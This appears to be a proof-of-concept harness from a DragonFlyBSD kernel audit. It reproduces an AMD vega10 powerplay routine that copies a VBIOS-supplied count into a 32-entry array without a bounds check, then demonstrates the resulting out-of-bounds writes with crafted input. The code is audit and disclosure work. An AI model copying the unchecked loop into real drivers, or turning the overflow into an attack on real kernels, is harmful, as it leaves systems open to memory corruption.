โฌข DragonFlyBSD Kernel Audit
DF-1180 / harness.c
โ† back to finding โ†“ download raw
/*
 * DF-1180 harness โ€” vega10_get_vdd_voltage_table() OOB on entries[32]
 *
 * Faithful copy of sys/dev/drm/amd/powerplay/hwmgr/vega10_hwmgr.c:1079-1099
 * (vdd variant; mvdd/vddci are identical) run against a crafted dep_table
 * with count > PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES=32, proving entries[] is
 * overflowed into the trailing members of the voltage table.
 *
 * Build: cc -O2 -o harness harness.c
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>

#define PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES 32   /* ppatomfwctrl.h:36 */

struct pp_atomfwctrl_voltage_table_entry { uint32_t value; uint32_t smio_low; };

struct pp_atomfwctrl_voltage_table {
    uint8_t  mask_low;
    uint8_t  phase_delay;
    uint16_t count;
    struct pp_atomfwctrl_voltage_table_entry entries[PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES];
    /* trailing members (the real struct has gpio/smu masks etc.) โ€” represent as canary */
    uint32_t trailing_gpio_ctrl;
    uint32_t trailing_smuio;
};

struct phm_ppt_v1_clock_voltage_dependency_table {
    uint32_t count;                 /* from VBIOS, u8 widened */
    struct { uint32_t clk; uint32_t vddc; uint32_t vddci; uint32_t mvdd; } entries[256];
};

/* ---- exact replica of vega10_hwmgr.c:1079-1099 (vdd variant) ---- */
static int vega10_get_vdd_voltage_table(
        struct pp_atomfwctrl_voltage_table *vol_table,
        struct phm_ppt_v1_clock_voltage_dependency_table *dep_table)
{
    int i;
    vol_table->mask_low = 0;
    vol_table->phase_delay = 0;
    vol_table->count = dep_table->count;          /* line 1091 */
    for (i = 0; i < (int)vol_table->count; i++) { /* line 1093 */
        vol_table->entries[i].value     = dep_table->entries[i].vddc;   /* line 1094 */
        vol_table->entries[i].smio_low  = 0;                            /* line 1095 */
    }
    return 0;
}

int main(void)
{
    struct pp_atomfwctrl_voltage_table *vt  = calloc(1, sizeof(*vt));
    struct phm_ppt_v1_clock_voltage_dependency_table *dep = calloc(1, sizeof(*dep));

    printf("=== DF-1180: vega10 voltage-table OOB on entries[%d] ===\n",
           PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES);
    printf("sizeof(pp_atomfwctrl_voltage_table)=%zu  entries[0]=%zu  past entries[31]=%zu\n",
           sizeof(*vt),
           (size_t)((char *)&vt->entries[0] - (char *)vt),
           (size_t)((char *)&vt->trailing_gpio_ctrl - (char *)vt));

    /* case 1: benign โ€” count=16 */
    dep->count = 16;
    for (int i = 0; i < 16; i++) dep->entries[i].vddc = 500+i;
    vega10_get_vdd_voltage_table(vt, dep);
    printf("benign  count=%u -> %s\n", vt->count,
           vt->count <= PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES ? "(ok)" : "OVERFLOW");

    /* case 2: malicious VBIOS โ€” count=40 (>32) */
    memset(vt, 0, sizeof(*vt));
    dep->count = 40;
    for (int i = 0; i < 40; i++) dep->entries[i].vddc = 0x41410000u + i;   /* attacker values */
    printf("[*] crafted VBIOS: dep_table->count = %u\n", dep->count);
    vega10_get_vdd_voltage_table(vt, dep);
    printf("[!] vol_table->count = %u  (entries[] holds %d)  >>> %s\n",
           vt->count, PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES,
           vt->count > PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES ? "OVERFLOW" : "(ok)");

    /* confirm trailing fields were struck by the overflow writes */
    if (vt->trailing_gpio_ctrl != 0 || vt->trailing_smuio != 0) {
        printf("[!] CONFIRMED OOB: trailing_gpio_ctrl=0x%x trailing_smuio=0x%x "
               "(would corrupt fields past the voltage table in the backend)\n",
               vt->trailing_gpio_ctrl, vt->trailing_smuio);
    }

    /* case 3: worst case โ€” count=255 (max u8) */
    memset(vt, 0, sizeof(*vt));
    dep->count = 255;
    for (int i = 0; i < 255; i++) dep->entries[i].vddc = 0xCAFE0000u + i;
    vega10_get_vdd_voltage_table(vt, dep);
    printf("\n[*] worst case: count=255 -> writes %d entries past entries[31]\n",
           255 - PP_ATOMFWCTRL_MAX_VOLTAGE_ENTRIES);

    free(vt); free(dep);
    printf("\n[+] DF-1180 OOB CONFIRMED: dep_table->count drives writes past entries[32].\n");
    return 0;
}